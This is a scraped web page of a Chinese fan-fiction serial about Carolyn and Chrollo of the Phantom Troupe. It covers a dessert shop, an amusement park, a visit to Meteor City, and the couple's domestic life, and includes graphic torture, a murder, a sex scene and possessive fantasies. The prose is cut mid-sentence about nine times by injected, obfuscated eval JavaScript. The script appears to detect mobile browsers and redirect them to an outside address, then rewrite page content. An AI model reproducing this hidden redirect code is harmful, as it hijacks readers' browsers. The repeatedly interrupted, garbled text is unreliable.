甜品店开张半年了。说是她的店,她其实什么都不用做。 店长是库洛洛找的,店员是店长招的,菜单是请人设计的,连食材供应链都有人打理。她每天要做的事情就是中午之后晃过来,坐在门口喝杯咖啡,一时兴起会帮忙给蛋糕挤奶油花。上次她挤了一朵歪歪扭扭的玫瑰花,店员还会捧场夸她挤得真好。 阳光照在卡洛琳的手背上,她的手指很红润,指甲修得圆圆的,没有涂颜色。手腕上系着一根红绳,红绳上串着一颗小小的金子,饱满的,圆润的,做成了花生的形状的,库洛洛上次来的时候带给她。 卡洛琳把咖啡杯放在椅子扶手上,举起手腕对着太阳看那颗金花生。阳光透过薄薄的红绳,在她手腕上投下一圈淡淡的红印。 大学毕业快半年了。她的同学们有的去了设计公司,有的考了编,有的回家继承家业,有的还在考研。而她什么都没做。不是找不到,是根本就没有找。简历没写,招聘软件没下载,连毕业后要做什么这个问题她都没有认真想过。 因为她清楚知道一旦爱好变成工作就会很痛苦,她太了解自己了,喜欢画画,但如果有人要求她每天画八小时,按客户的意见改来改去,为了赶工期熬夜,她会恨上画画的。 所以库洛洛就没让她工作。 他给她开了这间甜品店。不需要她经营管理,盈利什么的也不用在意。她想来就来,不想来就不来。 卡洛琳端起咖啡杯又喝了一口,卡布奇诺已经不太烫了,奶泡消下去一半,露出下面褐色的咖啡液。阳光正好照在她膝盖上,隔着牛仔裤的布料,暖意渗进皮肤里,让她的骨头都变得软绵绵的。她把腿伸直,鞋跟抵着地面,整个人往椅背上靠了靠,眯起眼睛看着街对面那排刚发芽的梧桐树。叶子是嫩绿色的,小小的,在风里翻来翻去。 有时候卡洛琳会恍惚,这不就是被包养吗? 不,准确来说也不能叫包养,库洛洛既没有贬低她的人格,也没有侮辱她的尊严,只是纯粹地对自己好而已。 她真的可以这么幸福吗? 这个问题卡洛琳问过自己很多次,每次都没有答案。阳光太暖了,咖啡太好喝了,手腕上的小金花生在光线下闪闪发亮,这些具体的真实的正在发生的事物堆叠在一起,把那个问题压到了最底下。 她怎么知道呢?她只需要知道此刻的幸福真实不虚,那就够了。 卡洛琳把咖啡杯放回扶手上,手指在杯沿慢慢地画着圈。 卡洛琳把最后一口咖啡喝完,杯子放在椅子扶手上。阳光落在她的睫毛上,她眨了眨眼,光斑在眼前跳了一下。 然后她忽然高兴了起来。高兴自己是个穿越者,这样自己就知道剧情,所以自己其实能帮得上库洛洛的忙。 卡洛琳把手腕举起来,那颗金花生在阳光下转了一个面,折射出一小点刺眼的光。风从街那头吹过来,带着春天的泥土味和远处面包店飘来的甜香,梧桐树的嫩叶哗啦啦地响。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17526942|203373||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 而在另一边,密室游鱼在房间里无声地游动。 每一条鱼经过那个男人身边的时候,都会从他身上带走一点东西。先是皮肤,然后是脂肪,然后是肌肉。 他还活着,眼睛睁得很大,嘴巴一张一合,说这些求求你杀了我之类的话。 库洛洛站在房间的另一端,背靠着墙,一只手插在口袋里,表情平淡得像在等一杯咖啡。 然后手机震了一下。 库洛洛从口袋里拿出手机,屏幕的光在昏暗的房间里亮了一下,照亮了他的脸。一条新消息,卡洛琳发来的,照片是从上往下拍的,她坐在一把椅子上,腿伸得很长,阳光落在她的膝盖和脚踝上。照片的角落里能看到半杯咖啡,奶泡上撒了肉桂粉。配文写着:“今天的太阳很舒服。” 库洛洛看着那张照片,看了一会儿。照片里的阳光是金色的,暖暖的,和她手腕上那颗小金花生一个颜色。她的影子被太阳拉得很长很长,投在地面上,像一幅用铅笔轻轻勾勒的画。 库洛洛不由自主地勾起了嘴角,把手机收回口袋。他抬起头,看着那个已经被密室游鱼啃噬得不成人形的男人。男人的嘴唇还在动,但已经看不出是在求饶还是诅咒。 看了他片刻之后,库洛洛抽出了卞氏刀。刀身很薄,反射出冷白色的光。他没有像往常一样慢慢地一刀一刀地切割。他一刀刺入对方的心脏,干净利落地结束了对方的生命。 库洛洛把刀收好。他拿出手机,又看了一遍那张照片,心情的确变好了。然后转身走向门口。皮鞋踩在血泊里发出轻微的黏腻声响,他没有低头看。 54.爱是常觉亏欠 卡洛琳趴在库洛洛胸口,手指在他锁骨上慢慢画圈。他的皮肤上有一层薄汗,她的指尖滑过时能感觉到那种潮湿的温热的光滑。窗帘拉着,床头灯橘黄色的光照亮了两个人交叠的腿,被子堆在腰际,她的膝盖抵着他的大腿内侧。 卡洛琳抬起头,下巴抵着他的胸骨,看着他。库洛洛的眼睛半闭着,睫毛在颧骨上投下一小片扇形的阴影,他的呼吸还没有完全平复,胸口起伏的幅度比平时大。 “库洛洛。” “嗯。” “我能为你做点什么吗?”卡洛琳的声音很轻,带着事后特有的沙哑,软得像被揉皱的纸又慢慢展开。“你为我做了那么多,所有的一切。我也想为你做点什么。” 库洛洛睁开了眼睛,他的瞳孔还是深不见底的黑色,但边缘有一圈被床头灯映出的暖光。然后伸出手揉了揉她的头发。 “你在这里就够了。”库洛洛的手滑到她的后背,把她往下拉了一点,让卡洛琳整个人贴在自己身上,脸埋进他的颈窝。 “就这样?”卡洛琳的声音闷在他颈窝里。 “就这样。” 库洛洛抱着她的力度比平时大,大到她觉得库洛洛是不是怕她跑掉。 “库洛洛,我不会走的。”卡洛琳说得认真,也的确是这么想的。 库洛洛的手从她后脑勺滑到她的后颈,指腹按着她颈侧那根细细的血管,感觉到她的脉搏在皮肤下面跳动,平稳的,有力的,活着的,令人留恋。 库洛洛把脸埋在她的头发里,他的手指在她后背慢慢划着,很轻。他想,其实不是她需要他,是他需要她。他需要有一个地方可以回来,需要有人在他说“好累啊”的时候说“那就多休息”,需要这具温热的柔软的对他完全不设防的身体。 他杀人的时候没有感觉,因为他选择不让自己有感觉。 但有时事后他会忍不住想,如果卡洛琳知道了呢?如果她知道自己做过什么事情,她还会躺在这里吗?还会用手指在他胸口画圈吗?还会在他耳边说“我能为你做点什么吗”? 库洛洛把手臂收得更紧了,紧到卡洛琳轻轻“嗯”了一声,但没有挣扎。如果她知道了所有的真相,如果她用那种看怪物的眼神看他,如果她收拾行李从这间公寓里消失。 自己到时候会做出一些不理智的事情吗? 比如把她锁起来,比如用她最害怕的方式把她留在身边,而她已经害怕很多事了,血,死亡,暴力的画面,那些他每天都在做的事情。 库洛洛不想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17527745|203373||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 成为她害怕的东西之一。 他不想这样,也不想让自己变成那样。所以他让卡洛琳什么都不知道。 “库洛洛?”卡洛琳的声音带着一点担忧,库洛洛情绪有时会突然不稳定,而她搞不懂这是为什么。 “嗯。” “你抱得太紧了。” 库洛洛松开了一点,但仍紧紧地贴着对方。 库洛洛想,他杀了很多人,以后还会杀更多。这是他自己的选择,他有了觉悟,不会后悔。他这样的人,手上沾了那么多血,应该有报应的,这样才公平。 自己能够有哪怕一刻的幸福也该感到知足了,怎么能奢求更多呢? “库洛洛,你在想什么?” “想你。” “想我什么?” “想你在这里。” 卡洛琳不知道库洛洛在想什么,只是感觉到他的心跳比刚才快了一些,但她没有追问。她只是把脸在他颈窝里蹭了蹭,嘴唇贴着他颈侧的皮肤,在那里落了一个很轻很轻的吻。他的皮肤是咸的,带着汗水的味道和沐浴露残留的香味。 库洛洛把被子拉上来,盖住她的肩膀,把脸埋进她的头发里,闻着她的味道,闭着眼睛想,可为什么自己总是忍不住奢求更多呢? 55.人人都渴望爱 过山车停下来的瞬间,卡洛琳觉得自己的灵魂还挂在那个俯冲的坡道上没跟下来。她的腿是软的,膝盖像被人抽走了螺丝,手指还攥着安全压杠的把手,攥得太紧了指节泛白。工作人员在广播里说了什么她听不清,耳朵里全是风声的回响。 “好了,结束了。”库洛洛温柔的声音从旁边传来,令人感到安心。 卡洛琳艰难地转过头看他,他的头发被风吹乱了,几缕黑发垂在额前,但是他的表情很放松,嘴角弯着,眼睛里依旧平静无波。 他可是幻影旅团团长,做个过山车对他来说让心率加速都做不到吧。 库洛洛伸手把卡洛琳的手指从压杠上一根一根地掰开,卡洛琳这才发现自己的手因为肾上腺素退潮后的生理反应在抖。 “站得起来吗?” 卡洛琳试着站起来,膝盖弯了一下又坐回去了。她摇了摇头,脸上的表情介于委屈和好笑之间。 库洛洛笑了一下。他先站起来,然后弯下腰,一只手穿过她的腋下,另一只手托住她的手臂,她的腿还是软的,整个人的重心都靠在他身上。他的手环过她的腰,稳稳地托着她,带着她一步一步地走出出口。卡洛琳走得很慢,每一步都踩在棉花上。 “还好吗?”库洛洛低头看她,语气里带着点笑意。 卡洛琳没有回答,只是把脸埋进他的肩膀蹭了一下,像一只撒娇的猫。库洛洛的手臂收紧了一点,把她整个人拢进怀里,让她靠着自己慢慢走。 走到长椅边的时候,卡洛琳终于肯坐下来。她仰着头看着天空,天已经快黑了,深蓝色的,有星星开始亮起来了。然后整个园区的灯都亮了,路灯,装饰灯,商店橱窗的灯,暖黄色的,金色的,粉色的光把整个乐园变成一个不真实的世界。 烟花秀快开始了,广播在提示游客前往城堡前区。卡洛琳站起来,腿已经不软了,但她还是把手伸给库洛洛,库洛洛握住,十指扣进她的指缝里。他们随着人群慢慢往城堡方向走,走得很慢,不急着占位置,也不急着挤到前面。 烟花秀开始的瞬间,第一发烟花在天空炸开,金色的,像一朵巨大的牡丹缓缓绽放,花瓣从花心向四周蔓延,然后在最盛大的时刻碎成无数星点,像有人在天上打碎了一面镜子。 卡洛琳“哇”了一声,声音被淹没在音乐和爆炸声里。她仰着头看着天空,烟花倒映在她的瞳孔里,一朵一朵地开,一朵一朵地谢。 库洛洛也在看烟花,但他的视线突然被广场另一边的一个身影吸引了。 那个男人穿着很普通的深色夹克,戴着棒球帽,帽檐压得很低,怀里抱着一个大约五六岁的小男孩。小男孩的手里举着一个米奇气球,圆滚滚的红色气球在夜风中微微晃动。 男人侧过脸跟小男孩说了什么,小男孩咯咯地笑,搂住了男人的脖子。 那张侧脸,库洛洛在收集情报的时候见过,以实行高压统治闻名的迪哥总统,以铁腕专治著称,国内反对派称他为独裁者,国际人权组织多次谴责他的政权使用酷刑和非法拘禁。 他在国内的每一次公开讲话都在强调国家主权、民族尊严、抵制西方腐朽文化。 而现在这位总统正努力把他的儿子举得高一点,方便他看见烟花,他此刻的表情和世界上所有被孩子的笑声感染的父母没有任何区别。 库洛洛的目光在他身上停留了不到两秒,然后移开了。 这个男人大概用了假身份,带着□□,在这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17530665|203373||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个被他在国内反复批判的资本主义乐园里扮演一个带着儿子的普通游客。他在国内宣扬抵制西方文化,却带着儿子来游乐园。他告诉人民要吃苦耐劳、艰苦奋斗,却让自己的孩子在烟花下坐在他的肩头。 原来人人都渴望爱吗? 卡洛琳感觉到库洛洛的手握紧了一下,她转过头看着库洛洛,他的侧脸被烟花的颜色染了一遍又一遍,金色,红色,蓝色,紫色。他的表情还是平静的,但卡洛琳觉得他的眼睛和平时不太一样。平时他的眼睛是深不见底的,你扔什么进去都听不到回响。但此刻或许是烟花太灿烂,他眼睛里倒映着满天的烟花,那些光在他瞳孔里闪闪烁烁的,像深海里忽然有了生物发光的迹象。 “库洛洛?” 库洛洛偏过头看着她,她仰着脸,琥珀色的瞳孔里也全是烟花。库洛洛突然在想,要是时间能够停留在这一刻就好了。 “怎么了?”卡洛琳摇了摇库洛洛的牵着她的手,他看了自己太久了,久到卡洛琳的耳朵开始发烫。 “没什么。”库洛洛把她的手又握紧了一点,笑了一下。 卡洛琳顺着他的目光抬头看天空,烟花还在放,比刚才更密了,像有人在天上倒了一整盒星星。库洛洛的手心很热,握着她的时候有一种很踏实的不会松开的笃定。 最后一发烟花在最中央炸开,那朵花开到了最大,大到填满了整个天空,花心的颜色从金色渐变成红色,从红色渐变成紫色,最后在最盛大的时刻碎成千万颗细小的火星,像一场逆向的流星雨。人群在欢呼,有人在鼓掌,小孩子在尖叫,米奇气球从某个人的手里脱了线,慢悠悠地飘向天空,越飘越高,越飘越小,最后变成一个小小的红色圆点消失在夜色里。 56.睡到自然醒吧 窗帘没拉严实,一道光从缝隙里漏进来,落在被子上,细细的,金黄色的,像谁用尺子比着画了一条线。卡洛琳翻了个身,脸埋进枕头里,头发散了一枕。 把被子拉到下巴,裹住肩膀,就像一只把自己卷进茧里的蚕。闹钟没响,她早就把闹钟关了,毕业之后就不需要了。 她想睡到什么时候就睡到什么时候,她现在既没有课要上,也不需要投简历找工作,没有任何一件必须在几点几分之前完成的事情。 真正醒来的时候阳光已经从床尾爬到了床头。卡洛琳打了个哈欠,然后瞪着着眼睛看了一会儿那道光,再缓缓地眨眨眼,才回过神来似地她慢慢坐起来,头发乱糟糟的,睡衣的领口歪到肩膀下面。卡洛琳揉了揉眼睛,然后坐在床边发了一会儿呆。 今天要去做什么?看展。市美术馆有一个新的油画展,她前天在网上看到的,展讯上说有几幅她很喜欢的画家的作品。 她可以下午再去,慢慢逛,在一幅画前站多久都可以,反正也没有人催她,也不需要感悟出什么。 想画就画,不想画就不画,画架立在窗边,已经好几天没碰了。颜料干了,画笔泡在水里,但这些都没关系。 卡洛琳想起上辈子。闹钟响第一声就要弹起来,刷牙洗脸穿衣服,坐到工位上打开电脑,邮件已经堆了几十封。吃饭的时候边吃边回消息,晚上不知道几点能走,到家只想瘫在床上刷手机,刷到眼睛睁不开了才睡,第二天再重复一遍。从来没有睡到自然醒过,从来没有一睁眼就在想今天要做什么而不是今天必须做什么过。 卡洛琳从床上下来,光脚踩在地板上,凉意从脚底涌上来。然后她走到窗边,把窗帘拉开,阳光涌进来,整个房间都亮了。 卡洛琳有时候会想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17531114|203373||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,真的不止一次想过,如果自己足够聪明,足够勇敢就好了。 她知道那么多事,剧情,未来,哪些人会去哪里,哪些人会做什么。 她本可以做更多的,她可以用这些信息做得比库洛洛更好,用更聪明的方式,更少的牺牲,更干净的手段。 如果她能做到那些,库洛洛是不是就不用那么累了?他是不是就不用一个人扛那么多东西了?他是不是可以更轻松一些,更幸福一些? 但那些念头总是一闪而过,像水面上的光斑,你伸手去抓它就碎了。 卡洛琳尝试过了,但只是看到西索把人干净利落地杀死,她就恶心反胃地呕吐,甚至因此大病一场……有些事情并不是提前知道了就能做得更好的。 卡洛琳把窗推开一条缝,空气涌进来,带着树叶和泥土的味道。卡洛琳深吸了一口气,然后慢慢地呼出来。 57.重返流星街(一) 空气里有焚烧的味道,远处垃圾山的烟在天边拉出一道灰黑色的线。垃圾山的味道没有变,腐烂的酸臭的混着金属锈蚀气息的风从远处吹过来,灌进她的鼻腔。卡洛琳原本以为自己会不习惯,但真正进来以后,嗅觉像是被按下了某个开关,那些味道忽然变得正常了,正常到像从来没有离开过。 玛奇站在她旁边,没有说话。她们走的路卡洛琳已经不太认得了。离开太久了,记忆里的街道被时间磨得模糊,只剩下一些断断续续的标记。 墓地在流星街的最东边。阳光灿烂,风也温柔,流星街的墓地一向建在向阳的地方。这是这里少有的不实用的规矩,死人不需要晒太阳,但活着的人需要。阳光直直地砸下来,砸在那些简陋的墓碑上。 卡洛琳在一座墓前停了下来。 卡洛琳蹲下来,把花放在墓碑前面。白色的菊花花瓣层层叠叠地挤在一起,花茎用黑色的纸包着,系着一根麻绳。白色的花瓣在阳光里有些刺眼,边缘微微卷曲着。 玛奇站在几步之外,没有过来。 卡洛琳蹲在墓前,手指按在石碑上,石面被太阳晒得发烫。她想起小时候见过这个墓。那时候库洛洛站在这里,背挺得很直。而现在玛奇告诉她,人找到了,杀掉了。 “之前库洛洛经常来这里献花,”卡洛琳凝视着那块小小的墓碑,声音很轻,眼神恍惚,似乎在追忆往昔,“现在他不用花了。” 卡洛琳的手从石碑上收回来,落在膝盖上,慢慢地攥紧了裙子的布料。阳光照在她的手背上,照在那根红绳上,照在那颗小金花生上,在光线下闪闪发亮,和这座沉默的墓碑相比,像是两个世界的东西。 “他会用施暴者的鲜血来祭奠,”卡洛琳的声音没有抖,但她的眼眶开始发红,“但我还是只能献上一束花。” 玛奇没有回答,风把她的头发吹起来又放下,她的表情和平时一样冷,但她的目光落在卡洛琳的背上,没有移开。 阳光从正上方照下来,把卡洛琳的影子缩成小小的一团,蹲在她脚边。卡洛琳看着那束白色的菊花,花瓣被风吹得轻轻颤动,像在发抖,又像在点头。 卡洛琳突然猛地意识到,如果这不是一个有超能力的世界,如果这个世界上没有念能力,那么流星街的这些孩子会怎样?萨拉萨死了,就是死了。 没有人有才智能找到凶手,没有人有能力能复仇。 外面的世界不会因为一个流星街女孩的失踪而浪费警力,记者不会报道,法庭不会受理,新闻不会播出。 萨拉萨的死亡只会是一滴水消逝在水中,无声无息,连涟漪都荡不起来。 不会有人为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17531394|203373||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她杀人,也不会有人用施暴者的头颅来祭奠她。她只会变成一个没有人提起的名字,慢慢地从所有人的记忆里褪色,最后恐怕连萨拉萨这三个字都没有人能完整地写出来。 可是库洛洛有念能力,旅团的所有人都有。他们可以把萨拉萨的死从无人问津变成了血债血偿。 这又何尝不是一种幸运呢? 毕竟不是每一个被世界抛弃的人都有能力向世界讨回公道。 卡洛琳的眼泪忽然间就失控一般流下来,汹涌地控制不住地哭泣着。 萨拉萨没有上过大学。她不知道大学是什么样子,不知道图书馆里那种旧书的味道,不知道在画室里从早画到晚手被铅笔灰染黑的感觉。 她也不知道游乐园是什么样子,没有坐过过山车,没有看过烟花在头顶炸开成漫天花雨,没有人牵着她的手在人群里走过,没有人在烟花炸开的时候低头看她被照亮的侧脸。 她没有去过外面的世界。她不知道咖啡店里的卡布奇诺上面会撒肉桂粉,不知道窗帘拉严实之后睡到自然醒的阳光可以那么暖。 她还那么小,什么都不知道,什么都没有体会过。 一种更深的更沉的像整片海从胸口漫上来的东西蔓延至卡洛琳的四肢百骸。 这是一个幸运的人对一个不幸者的愧怍。 58.今我来思,雨雪霏霏 树木茂盛得不像是流星街该有的样子。阳光从枝叶间漏下来,碎成一地金色的光斑,落在卡洛琳的鞋面上,落在玛奇的肩上。 今天是个好天气,不像发现萨拉萨的时候,只有连绵不断的雨水。 风吹过去,树叶哗哗地响,光斑也跟着摇晃,像无数只眨动的眼睛。这个地方此刻太安详静谧了,安静到不像发生过那样的事。 卡洛琳站在一棵老树下,伸手摸着树干上皴裂的树皮。萨拉萨是在这里被发现的。库洛洛找到的她,就在这棵树上被肢解了装在一个黑色袋子里挂着。 她的血迹早就被雨水冲干净了,草也重新长了出来,茂盛得像是要替这个世界掩盖什么。 卡洛琳想起墨莲娜说过,这是一个宛如粪坑般的世界。 “玛奇,”卡洛琳没有回头,手指还按在树干上,像是在闲聊,“如果我修炼念能力,能到你的水准吗?” 玛奇靠在旁边的树上,双手插在口袋里。她的脸被树叶的影子切成明暗交错的几块,看不太清表情。 “你起步太晚了,”玛奇的声音平静地客观陈述,“念能力的修炼从小开始最好。你现在才起步,基础就打不牢,后面再努力也追不上。而且念能力不只是技术问题,还需要相应的心理素质。” 卡洛琳的手从树干上滑下来,她转过身看着玛奇,笑了一下,那个笑容很短,嘴角弯起来就放下了。 “也是啊。”而且就算自己能够做到,就能面不改色地杀人吗?所以只是无谓的问题罢了。 卡洛琳靠在树干上,和玛奇并排站着,两个人都不说话。风又吹过来,树叶哗哗地响。卡洛琳把头发别到耳后,手指碰到耳垂的时候停了一下。 卡洛琳仰起头看着那些被虫咬过的叶子。光从洞里漏下来,落在她的脸上,一小点一小点的,像谁用手指在她脸上点了几颗金色的痣。 自己活得很幸福呀。 她遇到的人都有在真心实意地对她好。 不是因为她值得,只是她运气好而已。她比萨拉萨运气好,比流星 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17533305|203373||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 街的很多孩子运气好,比她上辈子运气好。 这难道不是一种莫大的幸运吗?她什么都不是,却被人爱着。她什么都没有做,却被保护得好好的。 卡洛琳从树干上直起身,转向玛奇。卡洛琳笑得温柔又灿烂,像是阳光铺洒一地,并无半点阴霾。 “库洛洛当时做出了觉悟,”卡洛琳声音没有发抖,平静地叙述着,眼睛很亮,有一种更坚定的像是什么东西在里面落定了的光,“为了让流星街不再出现萨拉萨这样的牺牲者,他愿意奉献自己的一生。 “我没有库洛洛那么伟大。” 卡洛琳上辈子对弱势群体也是同情的,会为他人不幸悲惨的遭遇而流泪。 但是真的让她为流浪汉建房子,她又不会那么做了。 “但我可以为了库洛洛奉献自己的一生。” 风停了,林子里的沙沙声忽然消失了,安静得像被什么东西一口吞掉了。玛奇看着卡洛琳,阳光从树叶的缝隙漏下来,在两个人之间落了一地的碎金。 59.此刻的幸福真实不虚 窗帘拉开了一半,阳光从窗口斜斜地照进来,落在地板上的光斑里有细小的尘埃在浮动。卡洛琳靠在沙发里,库洛洛坐在她旁边,手里拿着一本卡洛琳完全看不懂的大部头外文书,看得很认真,仅从外表看,完全就是一个斯文俊雅的文艺青年。 窗外的风吹动了窗帘的下摆,阳光晃了一下又稳住了。 卡洛琳放下手里翻了一半的插画册,转头看着库洛洛。他低着头,睫毛在颧骨上投下一小片扇形的阴影,鼻梁的线条从眉心一路滑到鼻尖,还是一如既往地好看。 卡洛琳看了他几秒,然后靠过去,把脸贴在他的肩膀上,手臂环过他的腰,整个人缩进了他的怀里。库洛洛翻书的手停了一下,然后自然地用另一只手抱着她,没有问她怎么了。 “库洛洛。”卡洛琳的声音很平静,不是撒娇的语调,也不是不安的试探,就是很平静地在叫他的名字。 “嗯。”库洛洛有些不明所以,但抱着卡洛琳的手臂更紧了些。 “你以后的人生会很顺利的,”卡洛琳的声音很轻很平静,像在说一件她已经确认了很久的事情,“真的。” 库洛洛翻书的手指停在半空中,过了两秒才落下去,然后他把书放到了一边,将卡洛琳圈进怀里,下巴抵着她的头顶。阳光从窗帘的缝隙挤进来,落在两个人交叠的腿上。 “我真的非常、非常、高兴能够遇见你。”卡洛琳的声音还是那么平静,但她说“非常”的时候重复了三次,因为重要的话要说三次。 库洛洛看着怀着的人,感受着温热的体温。他在想,其实自己才是幸运的那个人。 但库洛洛没有说出口。他只是把她的脸从自己胸口托起来,拇指擦过她的颧骨,低头吻了一下她的眉心。很轻,很慢,嘴唇贴着她的皮肤停了一会儿,然后移开。 卡洛琳看着库洛洛的眼睛,漆黑的瞳孔里清晰地映着她的脸。卡洛琳忽然想起福尔摩斯说过的那句很有名的话:排除所有不可能的选项,剩下的那个不论多么荒诞,也是真相。 她把库洛洛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17533774|203373||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 对她好的所有可能原因列了一遍,利用她?她没有利用价值。同情她?他不像是会出于同情做这么多事的人。责任?没有人要求他对自己负责。排除掉所有这些可能的合理的说得通的解释,剩下的那个选项荒诞到她自己都觉得不好意思,库洛洛是真的喜欢她,不需要回报,不需要任何“因为”。 “怎么突然说这些?”库洛洛是真的无法进行有效的联系,怎么说呢?且不说库洛洛根本不知道的事情,库洛洛在感情的某些方面可以称得上迟钝。 “因为我喜欢你呀。”卡洛琳笑了起来,发自内心地开口,说起来连告白也是卡洛琳主动的。 卡洛琳干脆把脸埋进他的胸口,蹭了一下,像一只终于确认了自己的窝是安全的再也不用担心被赶出去的猫。库洛洛的手不知所措了一会后落在她的头发上,从头顶梳到发尾,慢慢地,一遍又一遍。窗帘被风吹起来又落下,光斑在地板上跳了一下,又稳住了。阳光落在两个人身上,暖暖的,软软的,像一层薄薄的会呼吸的毯子。 60.无谓的小事 卡洛琳是在洗衣服的时候发现的。库洛洛的黑色外套,她习惯性地翻了一下领口和袖口。 然后指尖摸到一片干涩的不平整的地方。她翻过来仔细对照着看了看,是血呀。不大,指甲盖大小,已经氧化成了暗红褐色,几乎和黑色的布料融为一体。 库洛洛自己大概都没发现。卡洛琳看了两秒,就把外套翻过去,扔进洗衣机。倒洗衣液的时候停顿了一下,又加了小半瓶盖消毒液。平静地按下启动键,洗衣机开始注水。她靠在机器旁边看着滚筒慢慢转起来。 卡洛琳漫不经心地想,如果是库洛洛在自己面前杀人,她一定不会吐。也不是因为不害怕,只是因为那是库洛洛。 虽然库洛洛根本不会在她面前杀人,他不会让她看到那些,他总是把两个世界分得很清楚。 卡洛琳靠着洗衣机,听着滚筒转动的声音。她就知道其实 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17533877|203373||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自己真的很爱他,已经觉得洗衣机里那件沾了血的外套都无所谓了,反正血已经洗掉了,消过毒了,干干净净的,和从来没有沾过一样。 就算库洛洛浑身是血地倒在自己怀里,自己也绝对不会推开他的,不不不,自己在想什么呢?这种场景绝对不能出现才对。 洗衣机还在转,卡洛琳站了一会儿,转身来到冰箱面前给自己拿了一瓶冰牛奶,反正库洛洛今天不在家。 61.女仆play 浴室的门打开的时候,蒸汽先涌了出来。库洛洛穿着深灰色的睡衣,头发湿漉漉地垂在额前,水珠沿着发丝往下淌,滴在锁骨上,沿着胸口的皮肤往下滑。 然后他愣住了,大脑因为过于具有视觉冲击力的信息一时之间处理不了而一片空白,只是生理性地呼吸急促起来。 